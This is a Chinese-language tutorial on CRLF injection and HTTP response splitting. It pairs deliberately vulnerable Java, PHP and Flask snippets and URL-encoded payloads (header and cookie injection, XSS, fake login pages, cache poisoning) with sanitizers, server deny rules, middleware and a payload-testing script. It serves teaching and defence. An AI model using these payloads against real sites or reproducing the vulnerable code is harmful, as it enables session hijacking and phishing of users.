一、什么是CRLF注入?
CRLF 代表回车(Carriage Return,\r)换行(Line Feed,\n),是文本文件中用于表示行结束的字符序列。
CRLF注入(或HTTP响应拆分)是一种攻击技术,攻击者通过向HTTP头中注入CRLF字符序列,来操纵HTTP响应或执行其他恶意操作。
二、CRLF基础知识
1. 字符编码
text
CR (回车) = \r = 0x0D = %0D LF (换行) = \n = 0x0A = %0A CRLF = \r\n = %0D%0A
2. HTTP协议中的使用
http
# HTTP请求示例 GET /index.html HTTP/1.1\r\n # 请求行 Host: example.com\r\n # 请求头 User-Agent: Mozilla\r\n \r\n # 空行表示头部结束 # 请求体(如果有) # HTTP响应示例 HTTP/1.1 200 OK\r\n # 状态行 Content-Type: text/html\r\n # 响应头 Content-Length: 123\r\n \r\n # 空行表示头部结束 <html>...</html> # 响应体
三、攻击原理
1. 基本原理
当应用程序直接将用户输入插入到HTTP响应头中,且未过滤CRLF字符时,攻击者可以:
-
注入额外的HTTP头
-
拆分响应,创建多个响应
-
注入响应体内容
2. 攻击流程图
text
用户输入 → 未经处理的输入 → 插入HTTP头 → 响应被操纵 ↓ 注入CRLF → 创建新行 → 控制响应内容
四、攻击类型和示例
1. HTTP响应拆分(Response Splitting)
漏洞代码:
java
// Java示例 - 不安全的重定向 String location = request.getParameter("redirect"); response.sendRedirect(location); // 直接使用用户输入
攻击载荷:
text
# 攻击者输入 http://evil.com%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script> # URL解码后 http://evil.com\r\n Content-Length: 0\r\n \r\n HTTP/1.1 200 OK\r\n Content-Type: text/html\r\n \r\n <script>alert('XSS')</script>
生成的响应:
http
HTTP/1.1 302 Found Location: http://evil.com Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html <script>alert('XSS')</script>
2. Set-Cookie注入
漏洞代码:
php
// PHP示例 - 不安全的Cookie设置 $theme = $_GET['theme']; setcookie("user_theme", $theme); // 直接使用用户输入
攻击载荷:
text
# 攻击者输入 dark%0d%0aSet-Cookie:%20sessionid=hacked # 响应头变为 Set-Cookie: user_theme=dark Set-Cookie: sessionid=hacked
3. XSS via CRLF(最危险)
漏洞代码:
python
# Python Flask示例 - 不安全的头设置 from flask import Flask, Response app = Flask(__name__) @app.route('/header') def set_header(): header_value = request.args.get('value', '') response = Response("Hello") response.headers['X-Custom-Header'] = header_value # 直接使用 return response
攻击载荷:
text
# 注入XSS value=test%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(document.domain)</script> # 响应变为 HTTP/1.1 200 OK X-Custom-Header: test Content-Type: text/html <script>alert(document.domain)</script>
4. 缓存投毒(Cache Poisoning)
攻击示例:
text
# 注入缓存控制头 http://example.com/page?lang=en%0d%0aCache-Control:%20max-age=31536000 # 响应头 HTTP/1.1 200 OK Content-Language: en Cache-Control: max-age=31536000 ...
五、实际攻击场景
场景1:登录重定向漏洞
应用程序代码:
php
// 登录后的重定向 $redirect = $_GET['return']; header("Location: " . $redirect);
攻击:
http
GET /login.php?return=/dashboard%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<h1>Fake%20Login</h1><form>... # 用户看到的响应 HTTP/1.1 302 Found Location: /dashboard Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html <h1>Fake Login</h1><form>...
场景2:文件下载漏洞
漏洞代码:
java
// 文件下载功能 String filename = request.getParameter("file"); response.setHeader("Content-Disposition", "attachment; filename=\"" + filename + "\"");
攻击载荷:
text
file=report.pdf%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>stealCookies()</script> # 响应头 Content-Disposition: attachment; filename="report.pdf" Content-Type: text/html <script>stealCookies()</script>
六、高级攻击技术
1. HTTP请求走私结合CRLF
http
POST /api HTTP/1.1 Host: target.com Content-Length: 56 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 X-Injected: true%0d%0aX-Forwarded-For:%20127.0.0.1
2. Web缓存欺骗
http
GET /profile?theme=dark%0d%0aCache-Control:%20public%0d%0aVary:%20User-Agent HTTP/1.1 Host: example.com User-Agent: Mozilla # 缓存服务器可能缓存带有用户特定数据的响应
3. 响应队列污染
python
# 攻击者发送多个请求,每个都包含CRLF注入 请求1: /?inject=%0d%0aHeader1:%20value 请求2: /?inject=%0d%0aHeader2:%20value 请求3: /?inject=%0d%0aXSS:%20<script>...
七、防御措施
1. 输入验证和过滤
python
# Python示例 - 过滤CRLF字符 def sanitize_header_value(value): """清理HTTP头值""" if not value: return value # 移除CRLF字符 value = value.replace('\r', '').replace('\n', '') # 移除编码的CRLF value = value.replace('%0d', '').replace('%0a', '') value = value.replace('%0D', '').replace('%0A', '') # 限制长度 if len(value) > 1024: raise ValueError("Header value too long") return value # Flask安全示例 from flask import escape @app.route('/safe-header') def safe_header(): header_value = request.args.get('value', '') # 使用安全函数 safe_value = sanitize_header_value(header_value) response = Response("OK") response.headers['X-Custom'] = safe_value return response
2. 使用安全的API
java
// Java示例 - 使用安全的方法 // 不安全的 response.sendRedirect(request.getParameter("url")); // 安全的 - 验证URL public static String validateRedirectUrl(String url) { // 白名单验证 List<String> allowedDomains = Arrays.asList("example.com", "trusted.com"); try { URI uri = new URI(url); String host = uri.getHost(); if (host != null && allowedDomains.contains(host)) { return url; } } catch (URISyntaxException e) { // 记录日志 } // 默认重定向 return "/dashboard"; }
3. 编码输出
php
// PHP示例 - 安全设置Cookie $theme = $_GET['theme']; // 移除换行符 $theme = str_replace(array("\r", "\n"), '', $theme); // 使用htmlspecialchars防止XSS $safe_theme = htmlspecialchars($theme, ENT_QUOTES, 'UTF-8'); setcookie("theme", $safe_theme, [ 'httponly' => true, 'secure' => true, 'samesite' => 'Strict' ]);
4. Web服务器配置
nginx
# Nginx配置 - 防止CRLF注入 server { location / { # 拒绝包含CRLF的请求 if ($request_uri ~* "%0a|%0d") { return 403; } # 限制头大小 client_header_buffer_size 1k; large_client_header_buffers 4 8k; # 添加安全头 add_header X-Content-Type-Options nosniff; add_header X-Frame-Options DENY; add_header X-XSS-Protection "1; mode=block"; } }
apache
# Apache .htaccess配置 <IfModule mod_headers.c> # 过滤CRLF SetEnvIfNoCase Request_URI "%0a" crlf_injection SetEnvIfNoCase Request_URI "%0d" crlf_injection # 拒绝请求 Deny from env=crlf_injection # 安全头 Header always set X-Content-Type-Options nosniff Header always set X-Frame-Options DENY </IfModule>
5. 应用程序框架防护
python
# Django中间件示例 class CRLFProtectionMiddleware: def __init__(self, get_response): self.get_response = get_response def __call__(self, request): # 检查GET参数 for key, value in request.GET.items(): if '\r' in value or '\n' in value: return HttpResponseForbidden("Invalid input") # 检查POST参数 for key, value in request.POST.items(): if '\r' in value or '\n' in value: return HttpResponseForbidden("Invalid input") response = self.get_response(request) # 确保响应头安全 for header, value in response.items(): if '\r' in value or '\n' in value: del response[header] response[header] = value.replace('\r', '').replace('\n', '') return response # 在settings.py中添加 MIDDLEWARE = [ 'path.to.CRLFProtectionMiddleware', # ... 其他中间件 ]
八、检测和测试
1. 手动测试
bash
# 使用curl测试 curl -v "http://target.com/page?param=test%0d%0aInjected-Header:%20value" # 使用telnet手动发送 telnet target.com 80 GET /?param=test%0d%0aHeader:%20injected HTTP/1.1 Host: target.com # 查看响应头是否包含注入的内容
2. 自动化测试脚本
python
import requests from urllib.parse import quote def test_crlf_injection(url): """测试CRLF注入漏洞""" test_cases = [ # 基本CRLF测试 "%0d%0aInjected-Header: test", "%0aInjected-Header: test", "%0dInjected-Header: test", # 响应拆分测试 "%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>", # XSS via CRLF "%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>", # Cookie注入 "%0d%0aSet-Cookie: malicious=true", ] vulnerable = False for payload in test_cases: # 测试URL参数 test_url = f"{url}?input={quote(payload)}" try: response = requests.get(test_url, timeout=5) # 检查响应头 for header, value in response.headers.items(): if "Injected-Header" in header or "malicious" in value: print(f"[!] CRLF注入发现于头: {header}") vulnerable = True # 检查响应体 if "<script>alert" in response.text: print(f"[!] XSS via CRLF发现") vulnerable = True except Exception as e: print(f"[?] 测试 {payload} 时出错: {e}") return vulnerable # 测试多个端点 endpoints = [ "/login?redirect=", "/download?filename=", "/api/set-header?value=", "/profile?theme=" ]
3. Burp Suite测试
http
# 使用Burp Intruder测试 GET /redirect?url=§payload§ HTTP/1.1 Host: target.com # Payloads列表 §%0d%0aInjected: header§ §%0d%0a%0d%0aHTTP/1.1 200 OK§ §%0d%0aSet-Cookie: malicious=1§ §%0d%0aLocation: javascript:alert(1)§
九、真实案例分析
案例1:GitLab CRLF注入漏洞(CVE-2020-10960)
漏洞描述: GitLab的Web IDE功能中存在CRLF注入,允许攻击者执行XSS。
漏洞代码:
javascript
// 简化版本 const branchName = userInput; // 用户控制的输入 const url = `/project/-/ide/commit/${branchName}`; window.location = url;
攻击: 攻击者创建包含CRLF的分支名,导致XSS执行。
案例2:Twitter CRLF漏洞
影响: 允许攻击者在Twitter图像URL中注入头部,可能用于缓存投毒。
Payload:
text
https://pbs.twimg.com/media/IMAGE.jpg%0d%0aX-Forwarded-Host: evil.com
十、最佳实践总结
开发人员:
-
永远不要信任用户输入
-
使用框架的安全函数设置HTTP头
-
验证和过滤所有用户提供的头值
-
使用白名单验证重定向URL
运维人员:
-
配置WAF检测CRLF注入
-
定期更新Web服务器和应用程序
-
实施监控检测异常请求
测试人员:
-
自动化扫描CRLF漏洞
-
手动验证关键功能点
-
报告发现的漏洞并跟踪修复
十一、工具推荐
-
OWASP ZAP - 自动CRLF注入扫描
-
Burp Suite - 手动和自动测试
-
CRLFuzz - 专门的CRLF注入工具
-
ffuf - 模糊测试工具,可用于CRLF测试
bash
# 使用CRLFuzz crlfuzz -u "http://target.com/page?param=FUZZ" -o results.txt # 使用ffuf ffuf -u "http://target.com/page?param=FUZZ" \ -w crlf-payloads.txt \ -H "User-Agent: Mozilla" \ -mc all
通过理解CRLF注入的原理、攻击方式和防御措施,开发人员和测试人员可以更好地保护Web应用程序免受此类攻击。